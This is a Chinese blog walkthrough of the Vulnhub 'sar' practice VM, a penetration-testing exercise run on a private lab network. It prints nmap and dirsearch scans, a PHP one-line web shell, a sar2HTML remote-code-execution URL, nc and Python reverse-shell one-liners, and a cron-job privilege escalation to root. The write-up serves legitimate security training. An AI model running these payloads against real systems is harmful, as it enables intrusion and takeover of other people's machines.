资讯专栏INFORMATION COLUMN

vulnhub sar 靶场练习

mating / 2840人阅读

摘要:前言这次练习的靶机是平台下的,该靶机是一个类似的虚拟机,目的是提高并巩固渗透测试的知识点。收集信息代表存活主机扫描,不进行端口测探。代表综合性扫描,能收集很多重要的信息代表扫描主要的服务信息参数是指定端口,后面的代表所有端口。

前言

这次练习的靶机是vulnhub平台下的sar,该靶机是一个类似oscp的虚拟机,目的是提高并巩固渗透测试的知识点。下载地址为https://www.vulnhub.com/entry/sar-1,425/。这个靶机中没有出现新的知识点,难度相对比较简单。如果看过我前面vulnhub DC系列的文章,那么这次靶机可以独立自主完成。

虚拟机配置

这次采用的网络连接模式依然是NAT模式,为了避免扫描到其他物理主机。在导入虚拟机后,右击sar靶机,然后选中配置。依次点击网络配置->NAT模式->高级->生成,然后确认即可。

收集信息

nmap -sn --min-parallelism 100 --min-hostgroup 100 192.168.119.0/24

-sn 代表存活主机扫描,不进行端口测探。

–min-parallelism 代表调整探测报文的并行度,也就是在扫描同一台主机时会发送很多个探测数据包,这个参数指定的数即nmap一次至少要发多少个数据包。

–min-hostgroup 代表调整并行扫描组的大小,也就是一次性同时对多少台主机进行扫描。

更详细内容可以参考:https://zhuanlan.zhihu.com/p/322244582,关于nmap的一些性能参数的学习。

发现靶机的IP地址为 192.168.119.174,然后用nmap对靶机进行详细地扫描。

nmap -A -sV -p- --min-parallelism 100 192.168.119.174

-A 代表综合性扫描,能收集很多重要的信息

-sV 代表扫描主要的服务信息

-p- 参数p是指定端口,后面的-代表所有端口。

发现只开放的80端口,看来突破口只能从web上找了。用浏览器打开该网站。

发现是ubuntu的默认页面,用目录扫描工具dirsearch扫描一下,看看有没有隐藏的目录和文件。

dirsearch -u 192.168.119.174

发现了两个关键文件,其中 robots.txt一般保存一些关键目录,防止搜索引擎的爬虫爬取这些目录。所以访问这个文件或许会发现新的目录或文件。

http://192.168.119.174/robots.txt

发现了一个目录,继续访问这个目录。

http://192.168.119.174/sar2HTML

发现这个页面可以上传文件,尝试上传一个一句话木马。木马代码如下,将其保存为php文件并上传:

 system("$_GET["a"]");?>

上传后不知道文件在哪里,用目录扫描工具对 http://192.168.119.174/sar2HTML进行扫描,但是没有扫描到上传的目录。用谷歌查一下该程序的上传目录,或者在github寻找该程序的源码。

一不小心发现了sar2HTML的远程代码执行漏洞,该靶机上sar2HTML的版本刚好是3.2.1,可以利用该漏洞建立反弹shell。

通过远程代码执行建立shell

sar2HTML的远程代码执行利用方式已经给出来了,在浏览器的URL输入如下地址就可执行命令。

http://192.168.119.174/sar2HTML/index.php?plot=;<系统命令>

要注意的是靶机的web程序是放在sar2HTML目录中,所以不要把这个目录给忘了。

首先在本地监听一个端口 4443,然后通过nc反弹一个shell。

http://192.168.119.174/index.php?plot=;nc -e /bin/bash 192.168.119.130 4443

反弹没有成功,可能是靶机的nc禁用了-e参数,可以尝试一下另一种方法:

http://192.168.119.174/sar2HTML/index.php?plot=;python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.130",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.du

注意靶机上只安装了python3,所以用python来执行命令不会成功。

了解更多关于反弹shell的方法可以参考:https://www.jianshu.com/p/5b73a607e2ea,反弹shell

使用Python反弹shell成功!

提权

拿到shell后首先尝试了suid提权,内核提权,但是没有成功!到家目录里面也没有发现特殊文件,然后到网站的根目录下寻找特殊文件。

cd /var/www/htmlls -la

发现了两个特殊文件 :finally.sh这个文件属于root,write.sh这个文件具有777权限。查看一下这两个文件里面的内容。

cat finally.shcat write.sh

发现finally.sh里的内容就是执行write.sh文件,而write.sh文件的作用就是创建一个文件 /tmp/gateway。由此想到了计划任务提权,查看一下 定时任务的配置文件/etc/crontab

果然定时计划配置不当,系统会每五分钟就以root权限执行finally.sh。现在将反弹shell的代码写入write.sh中。

python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);"

注意修改其中的IP地址与端口,写入write.sh后检查一下有没有缺少引号。

在这个定时任务提权中,不能将’/bin/sh’写入write.sh中来提权,因为执行该文件的是系统自动启动的一个shell,而不是当前自己可控的shell。

然后在本地监听4444端口并等待靶机反弹一个具有root权限的shell即可。

提权成功,读取flag。

cd /rootcat root.txt

参考文献

[1] https://www.jianshu.com/p/5b73a607e2ea,反弹shell。

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/119483.html

相关文章

  • Vulnhub靶场渗透-Breach1.0

    摘要:简介是一个提供各种漏洞环境的一个靶场平台,大部分环境都是虚拟机镜像文件,预先设计各种漏洞需要使用或运行,每个镜像都有破解的目标,从启动虚拟机到获取系统的权限和查看靶机信息是一个难度初级到中级的挑战静态,配置环境到同一个网 ...

    lvzishen 评论0 收藏0
  • vulnhub DC8 靶场练习

    摘要:前言这次练习的靶机是平台下的系列靶机第台,下载地址为。指定有注入漏洞的参数。指定要查询的数据库列出所有表名发现有一个叫的表,账号和密码应该存在这个表中,查询一下该表中的数据。 ...

    陈江龙 评论0 收藏0
  • Vulnhub靶场渗透-mrRobot

    摘要:前言靶机攻击机网络模式直接开始信息收集漏洞挖掘扫到的东西比较多,逐个看了一下,在里找到第一个,还发现一个字典其次还找到的登录页可以看看里的字典内容,拿这个字典去爆破登录页因为需要的时间比较长,就不再跑一边截图了,账号,密 ...

    Scliang 评论0 收藏0
  • vulnhub DC9 靶场练习

    摘要:前言这次练习的靶机是平台下的系列靶机第台,也是最后一台。挑战该靶机的最终目的是获取权限,然后读取唯一的。这台靶机的难度为中等,其关键点是需要知道服务。发现靶机的地址为,然后用对靶机进行详细地扫描。 ...

    yangrd 评论0 收藏0
  • CTF学习经验分享(Web方向)

    摘要:也是朋友推荐的题目分类比较清晰在技能树那挨个点进去可以循序渐进的学习很适合初学而且查找近期赛程特别方便赛程表清晰明了。我们学校完全没有学习的环境与资源更没有战队哎总之先一起加油吧         本人Web安全初学者,记录分享一下学习历程,推荐评价仅代表个人观点&...

    番茄西红柿 评论0 收藏2637

发表评论

0条评论

最新活动
阅读需要支付1元查看
<